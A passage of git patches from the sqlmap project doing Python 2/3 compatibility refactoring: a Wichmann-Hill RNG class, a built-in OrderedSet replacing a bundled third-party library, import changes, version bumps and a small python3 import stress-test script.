100644 lib/core/compat.py diff --git a/lib/core/compat.py b/lib/core/compat.py new file mode 100644 index 00000000000..72006044c9a --- /dev/null +++ b/lib/core/compat.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python2 + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import binascii +import os +import random + +class WichmannHill(random.Random): + """ + Reference: https://svn.python.org/projects/python/trunk/Lib/random.py + """ + + VERSION = 1 # used by getstate/setstate + + def seed(self, a=None): + """Initialize internal state from hashable object. + + None or no argument seeds from current time or from an operating + system specific randomness source if available. + + If a is not None or an int or long, hash(a) is used instead. + + If a is an int or long, a is used directly. Distinct values between + 0 and 27814431486575L inclusive are guaranteed to yield distinct + internal states (this guarantee is specific to the default + Wichmann-Hill generator). + """ + + if a is None: + try: + a = int(binascii.hexlify(os.urandom(16)), 16) + except NotImplementedError: + import time + a = int(time.time() * 256) # use fractional seconds + + if not isinstance(a, int): + a = hash(a) + + a, x = divmod(a, 30268) + a, y = divmod(a, 30306) + a, z = divmod(a, 30322) + self._seed = int(x)+1, int(y)+1, int(z)+1 + + self.gauss_next = None + + def random(self): + """Get the next random number in the range [0.0, 1.0).""" + + # Wichman-Hill random number generator. + # + # Wichmann, B. A. & Hill, I. D. (1982) + # Algorithm AS 183: + # An efficient and portable pseudo-random number generator + # Applied Statistics 31 (1982) 188-190 + # + # see also: + # Correction to Algorithm AS 183 + # Applied Statistics 33 (1984) 123 + # + # McLeod, A. I. (1985) + # A remark on Algorithm AS 183 + # Applied Statistics 34 (1985),198-200 + + # This part is thread-unsafe: + # BEGIN CRITICAL SECTION + x, y, z = self._seed + x = (171 * x) % 30269 + y = (172 * y) % 30307 + z = (170 * z) % 30323 + self._seed = x, y, z + # END CRITICAL SECTION + + # Note: on a platform using IEEE-754 double arithmetic, this can + # never return 0.0 (asserted by Tim; proof too long for a comment). + return (x/30269.0 + y/30307.0 + z/30323.0) % 1.0 + + def getstate(self): + """Return internal state; can be passed to setstate() later.""" + return self.VERSION, self._seed, self.gauss_next + + def setstate(self, state): + """Restore internal state from object returned by getstate().""" + version = state[0] + if version == 1: + version, self._seed, self.gauss_next = state + else: + raise ValueError("state with version %s passed to " + "Random.setstate() of version %s" % + (version, self.VERSION)) + + def jumpahead(self, n): + """Act as if n calls to random() were made, but quickly. + + n is an int, greater than or equal to 0. + + Example use: If you have 2 threads and know that each will + consume no more than a million random numbers, create two Random + objects r1 and r2, then do + r2.setstate(r1.getstate()) + r2.jumpahead(1000000) + Then r1 and r2 will use guaranteed-disjoint segments of the full + period. + """ + + if not n >= 0: + raise ValueError("n must be >= 0") + x, y, z = self._seed + x = int(x * pow(171, n, 30269)) % 30269 + y = int(y * pow(172, n, 30307)) % 30307 + z = int(z * pow(170, n, 30323)) % 30323 + self._seed = x, y, z + + def __whseed(self, x=0, y=0, z=0): + """Set the Wichmann-Hill seed from (x, y, z). + + These must be integers in the range [0, 256). + """ + + if not type(x) == type(y) == type(z) == int: + raise TypeError('seeds must be integers') + if not (0 <= x < 256 and 0 <= y < 256 and 0 <= z < 256): + raise ValueError('seeds must be in range(0, 256)') + if 0 == x == y == z: + # Initialize from current time + import time + t = int(time.time() * 256) + t = int((t&0xffffff) ^ (t>>24)) + t, x = divmod(t, 256) + t, y = divmod(t, 256) + t, z = divmod(t, 256) + # Zero is a poor seed, so substitute 1 + self._seed = (x or 1, y or 1, z or 1) + + self.gauss_next = None + + def whseed(self, a=None): + """Seed from hashable object's hash code. + + None or no argument seeds from current time. It is not guaranteed + that objects with distinct hash codes lead to distinct internal + states. + + This is obsolete, provided for compatibility with the seed routine + used prior to Python 2.1. Use the .seed() method instead. + """ + + if a is None: + self.__whseed() + return + a = hash(a) + a, x = divmod(a, 256) + a, y = divmod(a, 256) + a, z = divmod(a, 256) + x = (x + a) % 256 or 1 + y = (y + a) % 256 or 1 + z = (z + a) % 256 or 1 + self.__whseed(x, y, z) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7f16089a809..d7387e8b4d6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.58" +VERSION = "1.3.3.59" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b278ee83c532e67769dac80576cfe159e4eea36f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 15:32:49 +0100 Subject: [PATCH 184/800] Minor update of aux script --- extra/shutils/drei.sh | 7 +++++++ lib/core/settings.py | 2 +- 2 files changed, 8 insertions(+), 1 deletion(-) create mode 100755 extra/shutils/drei.sh diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh new file mode 100755 index 00000000000..ae7934a34e5 --- /dev/null +++ b/extra/shutils/drei.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission + +# Stress test against Python3 +for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done \ No newline at end of file diff --git a/lib/core/settings.py b/lib/core/settings.py index d7387e8b4d6..658386be170 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.59" +VERSION = "1.3.3.60" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From fbd42228f84c721f0c81385c6772f21a194ab271 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 15:48:51 +0100 Subject: [PATCH 185/800] Foo and fo --- doc/THIRD-PARTY.md | 3 - lib/core/datatype.py | 59 +++++ lib/core/option.py | 5 +- lib/core/settings.py | 2 +- lib/core/subprocessng.py | 2 +- lib/parse/sitemap.py | 4 +- lib/takeover/web.py | 4 +- lib/utils/crawler.py | 4 +- lib/utils/hash.py | 10 +- thirdparty/oset/LICENSE.txt | 29 --- thirdparty/oset/__init__.py | 3 - thirdparty/oset/_abc.py | 476 ------------------------------------ thirdparty/oset/pyoset.py | 83 ------- 13 files changed, 74 insertions(+), 610 deletions(-) delete mode 100644 thirdparty/oset/LICENSE.txt delete mode 100644 thirdparty/oset/__init__.py delete mode 100644 thirdparty/oset/_abc.py delete mode 100644 thirdparty/oset/pyoset.py diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index be1fdda4c0a..9c1718c3939 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -15,9 +15,6 @@ This file lists bundled packages and their associated licensing terms. Copyright (C) 2013, Jonathan Hartley. * The Fcrypt library located under thirdparty/fcrypt/. Copyright (C) 2000, 2001, 2004 Carey Evans. -* The Oset library located under thirdparty/oset/. - Copyright (C) 2010, BlueDynamics Alliance, Austria. - Copyright (C) 2009, Raymond Hettinger, and others. * The PrettyPrint library located under thirdparty/prettyprint/. Copyright (C) 2010, Chris Hall. * The SocksiPy library located under thirdparty/socks/. diff --git a/lib/core/datatype.py b/lib/core/datatype.py index cfc4dd02fdf..2285948c334 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -5,6 +5,7 @@ See the file 'LICENSE' for copying permission """ +import collections import copy import types @@ -140,3 +141,61 @@ def set(self, key, value): def keys(self): return self.cache.keys() + +# Reference: https://code.activestate.com/recipes/576694/ +class OrderedSet(collections.MutableSet): + def __init__(self, iterable=None): + self.end = end = [] + end += [None, end, end] # sentinel node for doubly linked list + self.map = {} # key --> [key, prev, next] + if iterable is not None: + self |= iterable + + def __len__(self): + return len(self.map) + + def __contains__(self, key): + return key in self.map + + def add(self, key): + if key not in self.map: + end = self.end + curr = end[1] + curr[2] = end[1] = self.map[key] = [key, curr, end] + + def discard(self, key): + if key in self.map: + key, prev, next = self.map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def pop(self, last=True): + if not self: + raise KeyError('set is empty') + key = self.end[1][0] if last else self.end[2][0] + self.discard(key) + return key + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, list(self)) + + def __eq__(self, other): + if isinstance(other, OrderedSet): + return len(self) == len(other) and list(self) == list(other) + return set(self) == set(other) diff --git a/lib/core/option.py b/lib/core/option.py index 3c331d3d61e..adb3291e0b7 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -16,7 +16,6 @@ import tempfile import threading import time -import urllib2 import lib.controller.checks import lib.core.common @@ -66,6 +65,7 @@ from lib.core.data import queries from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict +from lib.core.datatype import OrderedSet from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DUMP_REPLACEMENTS @@ -149,7 +149,6 @@ from lib.utils.purge import purge from thirdparty.keepalive import keepalive from thirdparty.multipart import multipartpost -from thirdparty.oset.pyoset import oset from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_cookiejar as _http_cookiejar from thirdparty.six.moves import urllib as _urllib @@ -2023,7 +2022,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.preprocessFunctions = [] kb.skipVulnHost = None kb.tamperFunctions = [] - kb.targets = oset() + kb.targets = OrderedSet() kb.testedParams = set() kb.userAgents = None kb.vainRun = True diff --git a/lib/core/settings.py b/lib/core/settings.py index 658386be170..df16b96a422 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.60" +VERSION = "1.3.3.61" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index ed7be6fdb36..19fd1a06d2e 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -85,7 +85,7 @@ def _close(self, which): getattr(self, which).close() setattr(self, which, None) - if subprocess.mswindows: + if IS_WIN: def send(self, input): if not self.stdin: return None diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index a3a1d2cd0d4..b369ab17aa6 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -10,9 +10,9 @@ from lib.core.common import readInput from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import OrderedSet from lib.core.exception import SqlmapSyntaxException from lib.request.connect import Connect as Request -from thirdparty.oset.pyoset import oset from thirdparty.six.moves import http_client as _http_client abortedFlag = None @@ -26,7 +26,7 @@ def parseSitemap(url, retVal=None): try: if retVal is None: abortedFlag = False - retVal = oset() + retVal = OrderedSet() try: content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 72842f5a58f..21b3b5fc7e2 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -37,6 +37,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths +from lib.core.datatype import OrderedSet from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import OS @@ -50,7 +51,6 @@ from lib.core.settings import SHELL_WRITABLE_DIR_TAG from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request -from thirdparty.oset.pyoset import oset from thirdparty.six.moves import urllib as _urllib class Web: @@ -254,7 +254,7 @@ def webInit(self): directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) - directories = list(oset(directories)) + directories = list(OrderedSet(directories)) path = _urllib.parse.urlparse(conf.url).path or '/' path = re.sub(r"/[^/]*\.\w+\Z", '/', path) diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index c44735f860e..f6a75f91d1e 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -22,6 +22,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import OrderedSet from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSyntaxException @@ -31,7 +32,6 @@ from lib.parse.sitemap import parseSitemap from lib.request.connect import Connect as Request from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup -from thirdparty.oset.pyoset import oset from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib @@ -39,7 +39,7 @@ def crawl(target): try: visited = set() threadData = getCurrentThreadData() - threadData.shared.value = oset() + threadData.shared.value = OrderedSet() def crawlThread(): threadData = getCurrentThreadData() diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 21dc6b9651b..968ca677284 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -45,7 +45,6 @@ from hashlib import sha256 from hashlib import sha384 from hashlib import sha512 -from Queue import Queue from lib.core.common import Backend from lib.core.common import checkFile @@ -68,6 +67,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import OrderedSet from lib.core.enums import DBMS from lib.core.enums import HASH from lib.core.enums import MKSTEMP_PREFIX @@ -87,9 +87,9 @@ from lib.core.settings import ROTATING_CHARS from lib.core.wordlist import Wordlist from thirdparty.colorama.initialise import init as coloramainit -from thirdparty.oset.pyoset import oset from thirdparty.pydes.pyDes import des from thirdparty.pydes.pyDes import CBC +from thirdparty.six.moves import queue as _queue def mysql_passwd(password, uppercase=True): """ @@ -561,7 +561,7 @@ def storeHashesToFile(attack_dict): if not attack_dict: return - items = oset() + items = OrderedSet() for user, hashes in attack_dict.items(): for hash_ in hashes: @@ -1059,7 +1059,7 @@ def dictionaryAttack(attack_dict): warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) - retVal = Queue() + retVal = _queue.Queue() _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api) except KeyboardInterrupt: @@ -1150,7 +1150,7 @@ def dictionaryAttack(attack_dict): class Value(): pass - retVal = Queue() + retVal = _queue.Queue() found_ = Value() found_.value = False diff --git a/thirdparty/oset/LICENSE.txt b/thirdparty/oset/LICENSE.txt deleted file mode 100644 index aef85dda33c..00000000000 --- a/thirdparty/oset/LICENSE.txt +++ /dev/null @@ -1,29 +0,0 @@ -License -======= - -Copyright (c) 2009, Raymond Hettinger, and others -All rights reserved. - -Package structured based on the one developed to odict -Copyright (c) 2010, BlueDynamics Alliance, Austria - - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -* Redistributions in binary form must reproduce the above copyright notice, this - list of conditions and the following disclaimer in the documentation and/or - other materials provided with the distribution. -* Neither the name of the BlueDynamics Alliance nor the names of its - contributors may be used to endorse or promote products derived from this - software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY BlueDynamics Alliance ``AS IS`` AND ANY -EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL BlueDynamics Alliance BE LIABLE FOR ANY -DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/thirdparty/oset/__init__.py b/thirdparty/oset/__init__.py deleted file mode 100644 index 688b31e9230..00000000000 --- a/thirdparty/oset/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -"""Main Ordered Set module """ - -from pyoset import oset diff --git a/thirdparty/oset/_abc.py b/thirdparty/oset/_abc.py deleted file mode 100644 index ae6db97065e..00000000000 --- a/thirdparty/oset/_abc.py +++ /dev/null @@ -1,476 +0,0 @@ -#!/usr/bin/env python2 -# -*- mode:python; tab-width: 2; coding: utf-8 -*- - -"""Partially backported python ABC classes""" - -from __future__ import absolute_import - -import sys -import types - -if sys.version_info > (2, 6): - raise ImportError("Use native ABC classes istead of this one.") - - -# Instance of old-style class -class _C: - pass - -_InstanceType = type(_C()) - - -def abstractmethod(funcobj): - """A decorator indicating abstract methods. - - Requires that the metaclass is ABCMeta or derived from it. A - class that has a metaclass derived from ABCMeta cannot be - instantiated unless all of its abstract methods are overridden. - The abstract methods can be called using any of the normal - 'super' call mechanisms. - - Usage: - - class C: - __metaclass__ = ABCMeta - @abstractmethod - def my_abstract_method(self, ...): - ... - """ - funcobj.__isabstractmethod__ = True - return funcobj - - -class ABCMeta(type): - - """Metaclass for defining Abstract Base Classes (ABCs). - - Use this metaclass to create an ABC. An ABC can be subclassed - directly, and then acts as a mix-in class. You can also register - unrelated concrete classes (even built-in classes) and unrelated - ABCs as 'virtual subclasses' -- these and their descendants will - be considered subclasses of the registering ABC by the built-in - issubclass() function, but the registering ABC won't show up in - their MRO (Method Resolution Order) nor will method - implementations defined by the registering ABC be callable (not - even via super()). - - """ - - # A global counter that is incremented each time a class is - # registered as a virtual subclass of anything. It forces the - # negative cache to be cleared before its next use. - _abc_invalidation_counter = 0 - - def __new__(mcls, name, bases, namespace): - cls = super(ABCMeta, mcls).__new__(mcls, name, bases, namespace) - # Compute set of abstract method names - abstracts = set(name - for name, value in namespace.items() - if getattr(value, "__isabstractmethod__", False)) - for base in bases: - for name in getattr(base, "__abstractmethods__", set()): - value = getattr(cls, name, None) - if getattr(value, "__isabstractmethod__", False): - abstracts.add(name) - cls.__abstractmethods__ = frozenset(abstracts) - # Set up inheritance registry - cls._abc_registry = set() - cls._abc_cache = set() - cls._abc_negative_cache = set() - cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter - return cls - - def register(cls, subclass): - """Register a virtual subclass of an ABC.""" - if not isinstance(subclass, (type, types.ClassType)): - raise TypeError("Can only register classes") - if issubclass(subclass, cls): - return # Already a subclass - # Subtle: test for cycles *after* testing for "already a subclass"; - # this means we allow X.register(X) and interpret it as a no-op. - if issubclass(cls, subclass): - # This would create a cycle, which is bad for the algorithm below - raise RuntimeError("Refusing to create an inheritance cycle") - cls._abc_registry.add(subclass) - ABCMeta._abc_invalidation_counter += 1 # Invalidate negative cache - - def _dump_registry(cls, file=None): - """Debug helper to print the ABC registry.""" - print >> file, "Class: %s.%s" % (cls.__module__, cls.__name__) - print >> file, "Inv.counter: %s" % ABCMeta._abc_invalidation_counter - for name in sorted(cls.__dict__.keys()): - if name.startswith("_abc_"): - value = getattr(cls, name) - print >> file, "%s: %r" % (name, value) - - def __instancecheck__(cls, instance): - """Override for isinstance(instance, cls).""" - # Inline the cache checking when it's simple. - subclass = getattr(instance, '__class__', None) - if subclass in cls._abc_cache: - return True - subtype = type(instance) - # Old-style instances - if subtype is _InstanceType: - subtype = subclass - if subtype is subclass or subclass is None: - if (cls._abc_negative_cache_version == - ABCMeta._abc_invalidation_counter and - subtype in cls._abc_negative_cache): - return False - # Fall back to the subclass check. - return cls.__subclasscheck__(subtype) - return (cls.__subclasscheck__(subclass) or - cls.__subclasscheck__(subtype)) - - def __subclasscheck__(cls, subclass): - """Override for issubclass(subclass, cls).""" - # Check cache - if subclass in cls._abc_cache: - return True - # Check negative cache; may have to invalidate - if cls._abc_negative_cache_version < ABCMeta._abc_invalidation_counter: - # Invalidate the negative cache - cls._abc_negative_cache = set() - cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter - elif subclass in cls._abc_negative_cache: - return False - # Check the subclass hook - ok = cls.__subclasshook__(subclass) - if ok is not NotImplemented: - assert isinstance(ok, bool) - if ok: - cls._abc_cache.add(subclass) - else: - cls._abc_negative_cache.add(subclass) - return ok - # Check if it's a direct subclass - if cls in getattr(subclass, '__mro__', ()): - cls._abc_cache.add(subclass) - return True - # Check if it's a subclass of a registered class (recursive) - for rcls in cls._abc_registry: - if issubclass(subclass, rcls): - cls._abc_cache.add(subclass) - return True - # Check if it's a subclass of a subclass (recursive) - for scls in cls.__subclasses__(): - if issubclass(subclass, scls): - cls._abc_cache.add(subclass) - return True - # No dice; update negative cache - cls._abc_negative_cache.add(subclass) - return False - - -def _hasattr(C, attr): - try: - return any(attr in B.__dict__ for B in C.__mro__) - except AttributeError: - # Old-style class - return hasattr(C, attr) - - -class Sized: - __metaclass__ = ABCMeta - - @abstractmethod - def __len__(self): - return 0 - - @classmethod - def __subclasshook__(cls, C): - if cls is Sized: - if _hasattr(C, "__len__"): - return True - return NotImplemented - - -class Container: - __metaclass__ = ABCMeta - - @abstractmethod - def __contains__(self, x): - return False - - @classmethod - def __subclasshook__(cls, C): - if cls is Container: - if _hasattr(C, "__contains__"): - return True - return NotImplemented - - -class Iterable: - __metaclass__ = ABCMeta - - @abstractmethod - def __iter__(self): - while False: - yield None - - @classmethod - def __subclasshook__(cls, C): - if cls is Iterable: - if _hasattr(C, "__iter__"): - return True - return NotImplemented - -Iterable.register(str) - - -class Set(Sized, Iterable, Container): - """A set is a finite, iterable container. - - This class provides concrete generic implementations of all - methods except for __contains__, __iter__ and __len__. - - To override the comparisons (presumably for speed, as the - semantics are fixed), all you have to do is redefine __le__ and - then the other operations will automatically follow suit. - """ - - def __le__(self, other): - if not isinstance(other, Set): - return NotImplemented - if len(self) > len(other): - return False - for elem in self: - if elem not in other: - return False - return True - - def __lt__(self, other): - if not isinstance(other, Set): - return NotImplemented - return len(self) < len(other) and self.__le__(other) - - def __gt__(self, other): - if not isinstance(other, Set): - return NotImplemented - return other < self - - def __ge__(self, other): - if not isinstance(other, Set): - return NotImplemented - return other <= self - - def __eq__(self, other): - if not isinstance(other, Set): - return NotImplemented - return len(self) == len(other) and self.__le__(other) - - def __ne__(self, other): - return not (self == other) - - @classmethod - def _from_iterable(cls, it): - '''Construct an instance of the class from any iterable input. - - Must override this method if the class constructor signature - does not accept an iterable for an input. - ''' - return cls(it) - - def __and__(self, other): - if not isinstance(other, Iterable): - return NotImplemented - return self._from_iterable(value for value in other if value in self) - - def isdisjoint(self, other): - for value in other: - if value in self: - return False - return True - - def __or__(self, other): - if not isinstance(other, Iterable): - return NotImplemented - chain = (e for s in (self, other) for e in s) - return self._from_iterable(chain) - - def __sub__(self, other): - if not isinstance(other, Set): - if not isinstance(other, Iterable): - return NotImplemented - other = self._from_iterable(other) - return self._from_iterable(value for value in self - if value not in other) - - def __xor__(self, other): - if not isinstance(other, Set): - if not isinstance(other, Iterable): - return NotImplemented - other = self._from_iterable(other) - return (self - other) | (other - self) - - # Sets are not hashable by default, but subclasses can change this - __hash__ = None - - def _hash(self): - """Compute the hash value of a set. - - Note that we don't define __hash__: not all sets are hashable. - But if you define a hashable set type, its __hash__ should - call this function. - - This must be compatible __eq__. - - All sets ought to compare equal if they contain the same - elements, regardless of how they are implemented, and - regardless of the order of the elements; so there's not much - freedom for __eq__ or __hash__. We match the algorithm used - by the built-in frozenset type. - """ - MAX = sys.maxint - MASK = 2 * MAX + 1 - n = len(self) - h = 1927868237 * (n + 1) - h &= MASK - for x in self: - hx = hash(x) - h ^= (hx ^ (hx << 16) ^ 89869747) * 3644798167 - h &= MASK - h = h * 69069 + 907133923 - h &= MASK - if h > MAX: - h -= MASK + 1 - if h == -1: - h = 590923713 - return h - -Set.register(frozenset) - - -class MutableSet(Set): - - @abstractmethod - def add(self, value): - """Add an element.""" - raise NotImplementedError - - @abstractmethod - def discard(self, value): - """Remove an element. Do not raise an exception if absent.""" - raise NotImplementedError - - def remove(self, value): - """Remove an element. If not a member, raise a KeyError.""" - if value not in self: - raise KeyError(value) - self.discard(value) - - def pop(self): - """Return the popped value. Raise KeyError if empty.""" - it = iter(self) - try: - value = next(it) - except StopIteration: - raise KeyError - self.discard(value) - return value - - def clear(self): - """This is slow (creates N new iterators!) but effective.""" - try: - while True: - self.pop() - except KeyError: - pass - - def __ior__(self, it): - for value in it: - self.add(value) - return self - - def __iand__(self, it): - for value in (self - it): - self.discard(value) - return self - - def __ixor__(self, it): - if not isinstance(it, Set): - it = self._from_iterable(it) - for value in it: - if value in self: - self.discard(value) - else: - self.add(value) - return self - - def __isub__(self, it): - for value in it: - self.discard(value) - return self - -MutableSet.register(set) - - -class OrderedSet(MutableSet): - - def __init__(self, iterable=None): - self.end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.map = {} # key --> [key, prev, next] - if iterable is not None: - self |= iterable - - def __len__(self): - return len(self.map) - - def __contains__(self, key): - return key in self.map - - def __getitem__(self, key): - return list(self)[key] - - def add(self, key): - if key not in self.map: - end = self.end - curr = end[PREV] - curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end] - - def discard(self, key): - if key in self.map: - key, prev, next = self.map.pop(key) - prev[NEXT] = next - next[PREV] = prev - - def __iter__(self): - end = self.end - curr = end[NEXT] - while curr is not end: - yield curr[KEY] - curr = curr[NEXT] - - def __reversed__(self): - end = self.end - curr = end[PREV] - while curr is not end: - yield curr[KEY] - curr = curr[PREV] - - def pop(self, last=True): - if not self: - raise KeyError('set is empty') - key = next(reversed(self)) if last else next(iter(self)) - self.discard(key) - return key - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self)) - - def __eq__(self, other): - if isinstance(other, OrderedSet): - return len(self) == len(other) and list(self) == list(other) - return set(self) == set(other) - - def __del__(self): - if all([KEY, PREV, NEXT]): - self.clear() # remove circular references - -if __name__ == '__main__': - print(OrderedSet('abracadaba')) - print(OrderedSet('simsalabim')) diff --git a/thirdparty/oset/pyoset.py b/thirdparty/oset/pyoset.py deleted file mode 100644 index 944d75c82e5..00000000000 --- a/thirdparty/oset/pyoset.py +++ /dev/null @@ -1,83 +0,0 @@ -#!/usr/bin/env python2 -# -*- mode:python; tab-width: 2; coding: utf-8 -*- - -"""Partially backported python ABC classes""" - -from __future__ import absolute_import - -try: - from collections import MutableSet -except ImportError: - # Running in Python <= 2.5 - from ._abc import MutableSet - - -KEY, PREV, NEXT = range(3) - - -class OrderedSet(MutableSet): - - def __init__(self, iterable=None): - self.end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.map = {} # key --> [key, prev, next] - if iterable is not None: - self |= iterable - - def __len__(self): - return len(self.map) - - def __contains__(self, key): - return key in self.map - - def __getitem__(self, key): - return list(self)[key] - - def add(self, key): - if key not in self.map: - end = self.end - curr = end[PREV] - curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end] - - def discard(self, key): - if key in self.map: - key, prev, next = self.map.pop(key) - prev[NEXT] = next - next[PREV] = prev - - def __iter__(self): - end = self.end - curr = end[NEXT] - while curr is not end: - yield curr[KEY] - curr = curr[NEXT] - - def __reversed__(self): - end = self.end - curr = end[PREV] - while curr is not end: - yield curr[KEY] - curr = curr[PREV] - - def pop(self, last=True): - if not self: - raise KeyError('set is empty') - key = next(reversed(self)) if last else next(iter(self)) - self.discard(key) - return key - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self)) - - def __eq__(self, other): - if isinstance(other, OrderedSet): - return len(self) == len(other) and list(self) == list(other) - return set(self) == set(other) - - def __del__(self): - if all([KEY, PREV, NEXT]): - self.clear() # remove circular references - -oset = OrderedSet From c27820dc0eead92defa87c1c38d0b2548270850f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 16:36:32 +0100 Subject: [PATCH 186/800] Some more updates --- lib/core/compat.py | 5 + lib/core/patch.py | 8 + lib/core/settings.py | 2 +- lib/request/httpshandler.py | 8 - lib/utils/har.py | 4 +- lib/utils/sgmllib.py | 551 ++++++++++++++++++++++++++ thirdparty/clientform/__init__.py | 19 - thirdparty/clientform/clientform.py | 104 ++--- thirdparty/multipart/multipartpost.py | 4 +- 9 files changed, 626 insertions(+), 79 deletions(-) create mode 100644 lib/utils/sgmllib.py diff --git a/lib/core/compat.py b/lib/core/compat.py index 72006044c9a..7c164596fa5 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -8,6 +8,7 @@ import binascii import os import random +import uuid class WichmannHill(random.Random): """ @@ -159,3 +160,7 @@ def whseed(self, a=None): y = (y + a) % 256 or 1 z = (z + a) % 256 or 1 self.__whseed(x, y, z) + +# Reference: 